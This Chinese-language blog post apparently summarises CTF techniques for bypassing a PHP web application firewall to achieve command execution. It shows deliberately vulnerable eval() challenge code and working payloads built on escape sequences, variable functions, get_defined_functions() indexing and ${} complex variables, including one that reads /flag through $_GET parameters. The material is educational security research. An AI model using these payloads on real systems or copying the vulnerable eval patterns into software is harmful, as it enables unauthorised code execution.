Diggid's Blog

Bypass PHP WAF to RCE

字数统计: 1.9k阅读时长: 7 min
2021/01/21 Share

前言

这里总结几个用特性来bypass php waf的方法,参考了师傅们的文章,感谢师傅们发现这么有趣的东西。

注意:以下测试均在PHP 7.x 以上

转义序列

转义序列大家都很常见了,但是在php中,转义序列被双引号包裹(注意只能是双引号),可以解析为字符串

1
2
3
4
5
6
7
8
# 八进制
\[0–7]{1,3}

# 十六进制
\x[0–9A-Fa-f]{1,2}

# Unicode
\u{[0–9A-Fa-f]+}

image-20210120215244751

报错但是不影响执行system(whoami)

可变函数和字符串特性

针对这一特性,这里把waf的过滤规则修改一下:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str); //过滤引号
if(preg_match('/[A-Za-z0-9]+\(/i',$str) == 1){
die('hack');
}
eval($str);
?>

这个waf意味着我们不能在(前有任何的字母数字,也就是说形如system("ls")exec("ls")这样的会被ban掉,而且前面addslashes会过滤引号,意味着我们不能进行双引号拼接。

说到可变函数,就需要了解其函数搜索的原理

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 eval, echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。不能用eval,所以我们无法构造一句话木马

也就意味着以下是等价的

1
2
3
system("ls")
"system"("ls")
"\163\171\163\164\145\155"("whoami")

字符串特性

字符串不仅可以使用单双引来包裹,还可以单纯的使用括号()**来表示,并且在括号内**还可以用.进行拼接,因此结合可变函数的定义就有以下等价形式,注意这里的(system)可以当做字符串并执行的原因就是因为可变函数

1
2
3
system("ls")
(system)(ls)
(sys.tem)(l.s)

image-20210120215949948

image-20210120220639280

不用字符串特性如何解

实际上,这道题的waf不够全面,不需要字符串特性就是绕了。这题的waf对(前面的匹配是[A-Za-z0-9],也就是说只会匹配字母和数子组成的字符串,所以我们可以利用$_GET[a]来外带参数,这里仅仅用到了可变函数的特性,而没有使用到()的字符串特性

1
$_GET[a]($_GET[b])

我们需要把waf改为

1
/[A-Za-z0-9_/[/]/$]+\(/i

get_defined_functions()

函数定义

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

get_defined_functions — 返回所有已定义函数的数组

get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array

获取所有已定义函数的数组。

  • get_defined_functions()[internal]字段获取内置函数

  • get_defined_functions()[user]字段获取用户定义函数

这个函数通常可以用来进行一些骚操作。比如如果禁用了system,那么我们可以借此来找出system的位置,这里不要用var_dump

1
php -r "print_r(get_defined_functions()[internal]);" | grep system

image-20210120220343125

于是有:

1
?code=(get_de.fin.ed_fun.(c).tions)()[internal][481](whoami);

image-20210120221520451

  • 注意要加internal

  • php7以上内嵌注释/*comment*/不成功,如果可以内嵌注释的话还可以参数混淆

1
?code=(get_de.fin.ed/*aaa*/_fun.(c).tions)()[internal][481](whoami);

php复杂变量

讲解这个特性之前,我们把前面字符串特性的代码改一下

代码如下:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
if(preg_match('/[A-Za-z0-9]+\(/i',$str) == 1){
die('hack');
}
eval('$a="' . $str . '";'); //这里改了
?>

简单分析一下:

  • 单双引号被addslashes函数转义,无法在eval处双引拼接

  • 正则过滤了类似system(这样,也就是说不能直接使用函数aaa("bbb"),前面也说了

  • eval处是'$a="' . $str . '";'的赋值语句,无法直接执行函数。

复杂变量

从表达式上看,其形式是${var}{$var},这里的var并不局限于简单的变量,在php5以后,函数、方法、静态类变量和类常量在其命名空间内都可以使用复杂变量**${}{${}}**的形式来访问。

几个例子:

  1. 和可变变量$$类似用法
1
2
3
4
5
<?php
$a = "b";
${$a} = "1";
echo $b; # 输出 1
?>
  1. 但如果{}内是方法或者函数,则${}就有特殊效果
1
2
3
<?php
$a = "${phpinfo()}";
?>

我们暂且不管${phpinfo()}"${phpinfo()}"会返回什么值,但是可以确定的是,phpinfo()可以执行,也就是函数可以执行

  1. ${function}的返回值命名变量

实际上,${function}本质是用来定义一个变量,其作用也就是可以根据函数的返回值来

这样可以打印出phpinfo,也就是函数执行了,为什么呢?

解释:phpinfo()是一个函数,而"${phpinfo()}"表示的是一个变量,其是有具体的值的

1
2
3
4
<?php
$a = "${phpinfo()}";
echo $a;
?>

所以我们可以用"${function}"来在内嵌语句中执行函数,因此payload可以是:

1
${(system)(ls)}

执行带空格的命令

如果你了解了上面的复杂变量和字符串特性,我们给出了一个命令执行的payload,执行的命令是ls,但是如果我们要执行带空格的命令呢?想必师傅们在尝试的时候已经出现了一些小问题。正常情况下,对于字符串特性,()内的字符串只能是字母数字组合的,如果是其他特殊字符,php解析的时候会报错。比如:

1
2
${(system)(./readflag)}
${(system)(cat /flag)}

以上显然是不行的,如果要执行带有特殊字符的命令,我们仍需要引号来拼接

1
${(system)(c.(a).t.' /'.flag)}

但是如果拿上面的语句去过waf读flag,发现还是不行。别忘了,单双引号被addslashes转义了。单引号被转义了,由于外层$a=""是双引号包裹的,所以单引号转义成\'就不对了。那双引号行不行呢?

1
$a = "${(system)(\"whoami\")}";

image-20210320100929213

还是不行。所以总结一下

要是没有addslashes的转义,单引号包裹特殊字符是可以执行的,双引号本身在外层双引号下就不转义就无效,转义了就会报错,所以双引号转不转义都不行

所以我们需要绕addslashes的转义,才能执行带空格的命令,上面也提到了$_GET[a]($_GET[b])的payload,由于$_GET[a]的内容在eval函数处才会展开,所以不会被addslashes转义,可以成功执行带空格的命令

1
?str=${$_GET[a]($_GET[b])}&a=system&b=cat /flag

参考

http://blog.zeddyu.info/2019/04/11/PHP%E5%A4%8D%E6%9D%82%E5%8F%98%E9%87%8F/#Introduction

https://blog.zeddyu.info/2019/02/28/Some-Tricks-of-Bypass-php-waf/#%E5%BC%95%E5%85%A5

https://www.chabug.org/ctf/425.html

http://php.net/manual/zh/language.types.string.php

CATALOG
  1. 1. 前言
  2. 2. 转义序列
  3. 3. 可变函数和字符串特性
  4. 4. get_defined_functions()
  5. 5. php复杂变量
  6. 6. 执行带空格的命令